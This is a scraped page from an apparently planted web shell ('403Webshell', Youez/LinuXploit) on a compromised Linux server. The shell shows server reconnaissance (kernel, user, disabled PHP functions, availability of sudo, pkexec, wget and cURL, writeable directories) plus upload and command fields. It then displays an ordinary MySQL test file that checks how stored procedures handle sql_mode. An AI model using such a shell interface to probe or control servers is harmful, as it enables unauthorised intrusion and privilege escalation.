403Webshell
Server IP : 104.21.38.3  /  Your IP : 162.158.108.79
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/funcs_1/storedproc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/funcs_1/storedproc/storedproc_07.inc
#### suite/funcs_1/storedproc/storedproc_07.inc
#
--source suite/funcs_1/storedproc/load_sp_tb.inc

# ==============================================================================
# (numbering from requirement document TP v1.0, Last updated: 25 Jan 2005 01:00)
#
# 3.1.7 SQL mode checks:
#
#  1. Ensure that the sql_mode setting in effect at the time a stored procedure is created is the same setting under which the stored procedure runs when it is called/executed.
#  2. Ensure that if the sql_mode setting is changed when a stored procedure is run, that the original setting is restored as soon as the stored procedure execution is complete.
#
# ==============================================================================
let $message= Section 3.1.7 - SQL mode checks:;
--source include/show_msg80.inc

USE db_storedproc;

# ------------------------------------------------------------------------------
let $message= Testcase 3.1.7.1:
              -----------------
Ensure that the sql_mode setting in effect at the time a stored procedure is
created is the same setting under which the stored procedure runs when it is
called/executed.;
--source include/show_msg80.inc

--disable_warnings
DROP PROCEDURE IF EXISTS sp1;
DROP TABLE IF EXISTS temp_tbl;
DROP TABLE IF EXISTS result;
--enable_warnings

CREATE TABLE temp_tbl (f1 tinyint);
CREATE TABLE result (f1 text(200), f2 char(20));

set @@sql_mode='traditional';
SHOW VARIABLES LIKE 'sql_mode';

delimiter //;
CREATE PROCEDURE sp1()
BEGIN
    declare a tinyint;
    declare count_ int default 1;
    declare continue handler for sqlstate '22003' set count_=1000;
    SHOW VARIABLES LIKE 'sql_mode';
    SELECT @@sql_mode into @cur_val_sql_mode;
    insert into temp_tbl values (1000);
    if count_ = 1000 THEN
       INSERT INTO result VALUES (@cur_val_sql_mode, 'value restored');
    ELSE
       INSERT INTO result VALUES (@cur_val_sql_mode, 'value not restored');
    END if;
END//
delimiter ;//

SHOW CREATE PROCEDURE sp1;

set @@sql_mode='';
SHOW VARIABLES LIKE 'sql_mode';

CALL sp1();
SELECT * from result;

SHOW VARIABLES LIKE 'sql_mode';
SELECT @@sql_mode;

# cleanup
SET @@sql_mode='TRADITIONAL';
DROP PROCEDURE sp1;
DROP TABLE temp_tbl;
DROP TABLE result;


# ------------------------------------------------------------------------------
let $message= Testcase 3.1.7.2:
              -----------------
Ensure that if the sql_mode setting is changed when a stored procedure is run,
that the original setting is restored as soon as the stored procedure execution
is complete.;
--source include/show_msg80.inc

--disable_warnings
DROP PROCEDURE IF EXISTS sp2;
--enable_warnings

--echo ... show initial value
SHOW VARIABLES LIKE 'sql_mode';

delimiter //;
CREATE PROCEDURE sp2()
BEGIN
   SET @@sql_mode='MAXDB';
   SHOW VARIABLES LIKE 'sql_mode';
END//
delimiter ;//

SHOW CREATE PROCEDURE sp2;
--echo ... show value prior calling procedure
SHOW VARIABLES LIKE 'sql_mode';

--echo ... call procedure that changes sql_mode
CALL sp2();

--echo ... check whether old value is re-set
SHOW VARIABLES LIKE 'sql_mode';

# cleanup
DROP PROCEDURE sp2;


# ==============================================================================
# USE the same .inc to cleanup before and after the test
--source suite/funcs_1/storedproc/cleanup_sp_tb.inc

# ==============================================================================
let $message= .                               +++ END OF SCRIPT +++;
--source include/show_msg80.inc
# ==============================================================================

Youez - 2016 - github.com/yon3zu
LinuXploit